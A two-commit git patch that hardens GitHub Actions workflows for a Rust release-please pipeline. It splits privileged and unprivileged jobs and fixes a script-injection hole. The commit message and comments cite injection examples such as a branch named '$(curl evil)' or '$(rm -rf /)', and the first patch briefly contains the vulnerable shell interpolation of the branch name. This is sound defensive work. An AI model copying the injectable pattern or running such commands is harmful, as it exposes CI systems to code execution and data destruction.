From 49645b056069786178da6e21778ef8413dc5ae4d Mon Sep 17 00:00:00 2001 From: InstaZDLL Date: Fri, 15 May 2026 21:33:22 +0200 Subject: [PATCH 1/2] fix(ci): split release-please lockfile pipeline (codeql untrusted-checkout/critical) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The previous one-workflow design checked out a release-please PR branch inside a workflow_run context with contents: write and ran cargo check on it. CodeQL flags that as critical (alert #18, actions/untrusted-checkout/critical) because a privileged workflow_run job must never execute code from a non-default ref — the gh pr list author + branch-prefix gate is a soft filter, not a security boundary, since CodeQL treats any non-default ref as untrusted-by-default. Split into the canonical two-workflow pattern: - release-please-lockfile-build.yml (NEW, pull_request, contents: read): checks out the PR branch, runs cargo check, uploads the refreshed Cargo.lock + PR metadata as a 1-day artifact. Runs unprivileged so executing release-please's Cargo.toml / Cargo.lock through cargo can't reach secrets or push. - release-please-bump-lockfile.yml (REWRITTEN, workflow_run, contents: write): no actions/checkout of the PR branch, no cargo invocation. Downloads the artifact, validates the Cargo.lock header + size envelope, re-fetches the PR via the API to confirm it's still open, authored by github-actions[bot], on the same head SHA the artifact was built against, then pushes the lockfile via the Git Data API (createBlob -> createTree -> createCommit -> updateRef). Head-SHA check ensures we never push a Cargo.lock generated against a stale Cargo.toml — if the bot pushed a follow-up while the build was running, we skip and let the next build-workflow artifact carry the fresh lock. --- .../release-please-bump-lockfile.yml | 271 +++++++++++------- .../release-please-lockfile-build.yml | 97 +++++++ 2 files changed, 272 insertions(+), 96 deletions(-) create mode 100644 .github/workflows/release-please-lockfile-build.yml diff --git a/.github/workflows/release-please-bump-lockfile.yml b/.github/workflows/release-please-bump-lockfile.yml index c0a07f7..35dacd4 100644 --- a/.github/workflows/release-please-bump-lockfile.yml +++ b/.github/workflows/release-please-bump-lockfile.yml @@ -1,121 +1,200 @@ -name: Bump Cargo.lock on release-please PR +name: Push Cargo.lock to release-please PR -# release-please-action knows how to update Cargo.toml (via the -# `toml` extra-file in release-please-config.json), but it can't -# touch Cargo.lock — that file is regenerated by cargo from -# Cargo.toml + the dep graph and can't be patched by JSONPath / -# regex tooling. +# Privileged half of the release-please-PR Cargo.lock pipeline. # -# This companion workflow fires after the "Release Please" workflow -# completes. That workflow is triggered by pushes to main, so -# github.event.workflow_run.event is always 'push'. A dedicated -# find-pr step then queries the GitHub API for an open PR authored -# by github-actions[bot] whose head branch starts with -# 'release-please--'. Only when such a PR is found do we check it -# out, run `cargo check` to refresh Cargo.lock, and push the -# updated lock file back to that branch. +# Fires after the unprivileged `Build Cargo.lock for release-please +# PR` workflow finishes. Downloads the Cargo.lock artifact it +# produced, validates it, then pushes the file to the PR branch via +# the GitHub Git Data API. # -# The branch-name + author-match together close the -# privilege-escalation window: only the release-please bot opens -# PRs that satisfy both predicates simultaneously, so a -# `contents: write` cargo check cannot be triggered by arbitrary -# commits landed on main. +# **No `actions/checkout` of the PR branch.** **No `cargo` / +# `npm` / `bun` invocation.** The only code that runs in this +# privileged context is the artifact unzip + a github-script step +# that talks to the API. This is what closes CodeQL's +# `actions/untrusted-checkout/critical` rule: a privileged +# workflow_run job must not execute arbitrary code from a non- +# default ref. "on": workflow_run: - workflows: ["Release Please"] + workflows: ["Build Cargo.lock for release-please PR"] types: [completed] permissions: contents: write + actions: read pull-requests: read jobs: - bump: - # The "Release Please" workflow runs on push to main (not pull_request), - # so github.event.workflow_run.event is 'push'. We only continue when - # the upstream run succeeded; the find-pr step below then validates the - # strict branch-name + bot-author requirements before any checkout. + push: if: >- - github.event.workflow_run.conclusion == 'success' && - github.event.workflow_run.event == 'push' && - github.event.workflow_run.name == 'Release Please' + github.event.workflow_run.event == 'pull_request' && + github.event.workflow_run.conclusion == 'success' runs-on: ubuntu-latest steps: - - name: Find release-please PR branch - id: find-pr - env: - GH_TOKEN: ${{ github.token }} + - name: Download artifact from upstream workflow run + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + script: | + const artifacts = await github.rest.actions.listWorkflowRunArtifacts({ + owner: context.repo.owner, + repo: context.repo.repo, + run_id: context.payload.workflow_run.id, + }); + const match = artifacts.data.artifacts.find( + (a) => a.name === 'release-please-lockfile', + ); + if (!match) { + core.setFailed('No release-please-lockfile artifact found on upstream run'); + return; + } + const download = await github.rest.actions.downloadArtifact({ + owner: context.repo.owner, + repo: context.repo.repo, + artifact_id: match.id, + archive_format: 'zip', + }); + const fs = require('fs'); + fs.writeFileSync('artifact.zip', Buffer.from(download.data)); + + - name: Unzip + validate artifact + # Bail fast (and loudly) on anything unexpected — a privileged + # workflow consuming an artifact from an unprivileged run must + # treat that artifact as untrusted input. We accept it only + # when every expected file is present, the Cargo.lock starts + # with cargo's canonical header, and the file size is within + # a sane envelope (1 KB-5 MB). run: | - # Enumerate open PRs authored by github-actions[bot] whose head - # branch matches the release-please naming convention. The - # branch-name + author-match pairing closes the - # privilege-escalation window: only the bot can satisfy both - # predicates simultaneously, so a malicious build.rs in an - # attacker-controlled branch can never reach `cargo check`. - branch=$(gh pr list \ - --repo "${{ github.repository }}" \ - --state open \ - --author "github-actions[bot]" \ - --limit 1 \ - --json headRefName \ - --jq '[.[] | select(.headRefName | startswith("release-please--"))] | first | .headRefName // empty') - if [ -z "$branch" ]; then - echo "No open release-please PR found — nothing to do." - echo "branch=" >> "$GITHUB_OUTPUT" - else - echo "Found release-please PR branch: $branch" - echo "branch=$branch" >> "$GITHUB_OUTPUT" + mkdir -p artifact + unzip -q artifact.zip -d artifact + for f in Cargo.lock pr_number pr_branch pr_head_sha; do + test -f "artifact/$f" || { echo "::error::missing $f"; exit 1; } + done + head -1 artifact/Cargo.lock | grep -qE '^# This file is automatically @generated by Cargo' || { + echo "::error::Cargo.lock does not start with the cargo header" + exit 1 + } + size=$(stat -c%s artifact/Cargo.lock) + if [ "$size" -lt 1000 ] || [ "$size" -gt 5000000 ]; then + echo "::error::Cargo.lock size suspicious ($size bytes)" + exit 1 fi - - name: Checkout PR branch - if: steps.find-pr.outputs.branch != '' - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6 + - name: Validate PR identity + push Cargo.lock via API + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 with: - ref: ${{ steps.find-pr.outputs.branch }} - token: ${{ secrets.GITHUB_TOKEN }} + script: | + const fs = require('fs'); + const prNumber = parseInt( + fs.readFileSync('artifact/pr_number', 'utf8').trim(), + 10, + ); + const branch = fs.readFileSync('artifact/pr_branch', 'utf8').trim(); + const artifactHeadSha = fs + .readFileSync('artifact/pr_head_sha', 'utf8') + .trim(); - - name: Setup Rust toolchain - if: steps.find-pr.outputs.branch != '' - uses: dtolnay/rust-toolchain@3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9 # stable - with: - toolchain: stable + // Defensive parse — the artifact came from an unprivileged + // build that ran on attacker-controllable code paths. + if (!Number.isInteger(prNumber) || prNumber <= 0) { + core.setFailed(`invalid PR number: ${prNumber}`); + return; + } + if (!/^release-please--[A-Za-z0-9._\/-]+$/.test(branch)) { + core.setFailed(`branch name does not match release-please pattern: ${branch}`); + return; + } + if (!/^[0-9a-f]{40}$/.test(artifactHeadSha)) { + core.setFailed(`invalid head SHA: ${artifactHeadSha}`); + return; + } - - name: Cache Cargo build - if: steps.find-pr.outputs.branch != '' - uses: Swatinem/rust-cache@c19371144df3bb44fab255c43d04cbc2ab54d1c4 # v2.9.1 - with: - workspaces: src-tauri -> target - key: release-please-lockfile + // Verify the PR is still open, still authored by the + // release-please bot, and its head ref still matches the + // artifact's claim. + const pr = await github.rest.pulls.get({ + owner: context.repo.owner, + repo: context.repo.repo, + pull_number: prNumber, + }); + if (pr.data.state !== 'open') { + core.info(`PR #${prNumber} is ${pr.data.state} — nothing to do`); + return; + } + if (pr.data.user.login !== 'github-actions[bot]') { + core.setFailed( + `PR author is ${pr.data.user.login}, expected github-actions[bot]`, + ); + return; + } + if (pr.data.head.ref !== branch) { + core.setFailed( + `PR head ref ${pr.data.head.ref} does not match artifact branch ${branch}`, + ); + return; + } - - name: Install Linux system deps (for cargo check) - if: steps.find-pr.outputs.branch != '' - # cargo check on src-tauri still needs the webkit / soup - # headers to resolve the dep graph even though we're not - # actually building anything. - run: | - sudo apt-get update - sudo apt-get install -y --no-install-recommends \ - libwebkit2gtk-4.1-dev \ - libsoup-3.0-dev \ - libayatana-appindicator3-dev \ - librsvg2-dev \ - libasound2-dev \ - pkg-config + // If the PR branch has moved since the artifact was built, + // the Cargo.lock we have was generated against a now-stale + // Cargo.toml. Bail and let the next build-workflow run + // produce a fresh artifact. + const currentHead = pr.data.head.sha; + if (currentHead !== artifactHeadSha) { + core.info( + `PR head moved (${artifactHeadSha} -> ${currentHead}); skipping push, the next build will pick this up`, + ); + return; + } - - name: Refresh Cargo.lock against bumped Cargo.toml - if: steps.find-pr.outputs.branch != '' - run: cargo check --manifest-path src-tauri/Cargo.toml --all-targets + // Create a blob with the new Cargo.lock content. + const content = fs.readFileSync('artifact/Cargo.lock'); + const blob = await github.rest.git.createBlob({ + owner: context.repo.owner, + repo: context.repo.repo, + content: content.toString('base64'), + encoding: 'base64', + }); - - name: Commit + push Cargo.lock to release-please PR branch - if: steps.find-pr.outputs.branch != '' - run: | - if git diff --quiet src-tauri/Cargo.lock; then - echo "Cargo.lock already in sync with Cargo.toml — nothing to commit." - exit 0 - fi - git config user.name "github-actions[bot]" - git config user.email "41898282+github-actions[bot]@users.noreply.github.com" - git add src-tauri/Cargo.lock - git commit -m "chore: bump Cargo.lock" - git push origin "HEAD:${{ steps.find-pr.outputs.branch }}" + // Build a new tree that swaps src-tauri/Cargo.lock for our + // blob, leaving the rest of the parent tree untouched. + const parent = await github.rest.git.getCommit({ + owner: context.repo.owner, + repo: context.repo.repo, + commit_sha: currentHead, + }); + const tree = await github.rest.git.createTree({ + owner: context.repo.owner, + repo: context.repo.repo, + base_tree: parent.data.tree.sha, + tree: [ + { + path: 'src-tauri/Cargo.lock', + mode: '100644', + type: 'blob', + sha: blob.data.sha, + }, + ], + }); + + // Idempotent: if Cargo.lock is already in sync, the new + // tree SHA equals the parent's and we bail. + if (tree.data.sha === parent.data.tree.sha) { + core.info('Cargo.lock already in sync with Cargo.toml — nothing to push'); + return; + } + + // Commit + fast-forward the branch ref. + const commit = await github.rest.git.createCommit({ + owner: context.repo.owner, + repo: context.repo.repo, + message: 'chore: bump Cargo.lock', + tree: tree.data.sha, + parents: [currentHead], + }); + await github.rest.git.updateRef({ + owner: context.repo.owner, + repo: context.repo.repo, + ref: `heads/${branch}`, + sha: commit.data.sha, + }); + core.info(`Pushed Cargo.lock commit ${commit.data.sha} to ${branch}`); diff --git a/.github/workflows/release-please-lockfile-build.yml b/.github/workflows/release-please-lockfile-build.yml new file mode 100644 index 0000000..99fe040 --- /dev/null +++ b/.github/workflows/release-please-lockfile-build.yml @@ -0,0 +1,97 @@ +name: Build Cargo.lock for release-please PR + +# Unprivileged half of the release-please-PR Cargo.lock pipeline. +# +# release-please-action knows how to update Cargo.toml (via the +# `toml` extra-file in release-please-config.json), but it can't +# touch Cargo.lock — that file is regenerated by cargo from +# Cargo.toml + the dep graph and can't be patched by JSONPath / +# regex tooling. +# +# This file runs in an *unprivileged* `pull_request` context +# (default `contents: read` token, no secrets reachable), runs +# `cargo check` to refresh Cargo.lock against the bumped +# Cargo.toml, and uploads the resulting file as an artifact along +# with the PR metadata. +# +# The companion `release-please-bump-lockfile.yml` workflow runs in +# a privileged `workflow_run` context after this one finishes, +# validates the artifact, then pushes the lockfile back to the PR +# branch via the GitHub API — **without ever checking out the PR +# branch in privileged context**. This split is what CodeQL's +# `actions/untrusted-checkout/critical` rule asks for: privileged +# jobs must not execute code from untrusted refs (and a release- +# please PR branch is "untrusted" by CodeQL's definition because +# in principle a maintainer could push arbitrary code to it before +# the workflow fires). + +"on": + pull_request: + branches: [main] + types: [opened, synchronize, reopened] + +permissions: + contents: read + +jobs: + build: + # Same author+branch gate as before, but here it's only a + # cost-saving filter — the security boundary lives in the + # privileged workflow's validation step. + if: >- + startsWith(github.head_ref, 'release-please--') && + github.event.pull_request.user.login == 'github-actions[bot]' + runs-on: ubuntu-latest + steps: + - name: Checkout PR branch + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6 + with: + ref: ${{ github.event.pull_request.head.sha }} + + - name: Setup Rust toolchain + uses: dtolnay/rust-toolchain@3c5f7ea28cd621ae0bf5283f0e981fb97b8a7af9 # stable + with: + toolchain: stable + + - name: Cache Cargo build + uses: Swatinem/rust-cache@c19371144df3bb44fab255c43d04cbc2ab54d1c4 # v2.9.1 + with: + workspaces: src-tauri -> target + key: release-please-lockfile + + - name: Install Linux system deps (for cargo check) + # cargo check on src-tauri still needs the webkit / soup + # headers to resolve the dep graph even though we're not + # actually building anything. + run: | + sudo apt-get update + sudo apt-get install -y --no-install-recommends \ + libwebkit2gtk-4.1-dev \ + libsoup-3.0-dev \ + libayatana-appindicator3-dev \ + librsvg2-dev \ + libasound2-dev \ + pkg-config + + - name: Refresh Cargo.lock against bumped Cargo.toml + run: cargo check --manifest-path src-tauri/Cargo.toml --all-targets + + - name: Stage artifact (Cargo.lock + PR metadata) + # Bundle the refreshed Cargo.lock alongside the PR number, + # branch name, and head SHA so the privileged workflow can + # (a) validate the PR is still the legitimate release-please + # PR and (b) detect head-moved races before pushing. + run: | + mkdir -p artifact + cp src-tauri/Cargo.lock artifact/Cargo.lock + echo "${{ github.event.pull_request.number }}" > artifact/pr_number + echo "${{ github.event.pull_request.head.ref }}" > artifact/pr_branch + echo "${{ github.event.pull_request.head.sha }}" > artifact/pr_head_sha + + - name: Upload artifact for privileged push workflow + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: release-please-lockfile + path: artifact/ + retention-days: 1 + if-no-files-found: error From ac13cae1f33f3b532955a5076cc75aa6c1c8f544 Mon Sep 17 00:00:00 2001 From: InstaZDLL Date: Fri, 15 May 2026 21:35:55 +0200 Subject: [PATCH 2/2] fix(ci): plug script injection in lockfile-build (head.ref attacker-controlled) github-advanced-security flagged the artifact staging step: pull request branch names go through ${{ github.event.pull_request.head.ref }} interpolation BEFORE the shell sees the line, so a branch named e.g. $(curl evil) would execute as code. Move every PR-metadata value behind an env: block so they're shell variables, then emit them with printf '%s' (no trailing newline, no surprise interpretation). --- .../workflows/release-please-lockfile-build.yml | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/.github/workflows/release-please-lockfile-build.yml b/.github/workflows/release-please-lockfile-build.yml index 99fe040..2efe735 100644 --- a/.github/workflows/release-please-lockfile-build.yml +++ b/.github/workflows/release-please-lockfile-build.yml @@ -81,12 +81,23 @@ jobs: # branch name, and head SHA so the privileged workflow can # (a) validate the PR is still the legitimate release-please # PR and (b) detect head-moved races before pushing. + # + # Values are piped through `env:` rather than interpolated + # straight into the shell — `head.ref` is attacker-controlled + # (any maintainer can push a branch named e.g. `$(rm -rf /)`) + # and `${{ … }}` substitution before the shell sees the line + # would let that string execute as code. The `env:` form makes + # them ordinary shell variables that the runner quotes safely. + env: + PR_NUMBER: ${{ github.event.pull_request.number }} + PR_BRANCH: ${{ github.event.pull_request.head.ref }} + PR_HEAD_SHA: ${{ github.event.pull_request.head.sha }} run: | mkdir -p artifact cp src-tauri/Cargo.lock artifact/Cargo.lock - echo "${{ github.event.pull_request.number }}" > artifact/pr_number - echo "${{ github.event.pull_request.head.ref }}" > artifact/pr_branch - echo "${{ github.event.pull_request.head.sha }}" > artifact/pr_head_sha + printf '%s' "$PR_NUMBER" > artifact/pr_number + printf '%s' "$PR_BRANCH" > artifact/pr_branch + printf '%s' "$PR_HEAD_SHA" > artifact/pr_head_sha - name: Upload artifact for privileged push workflow uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1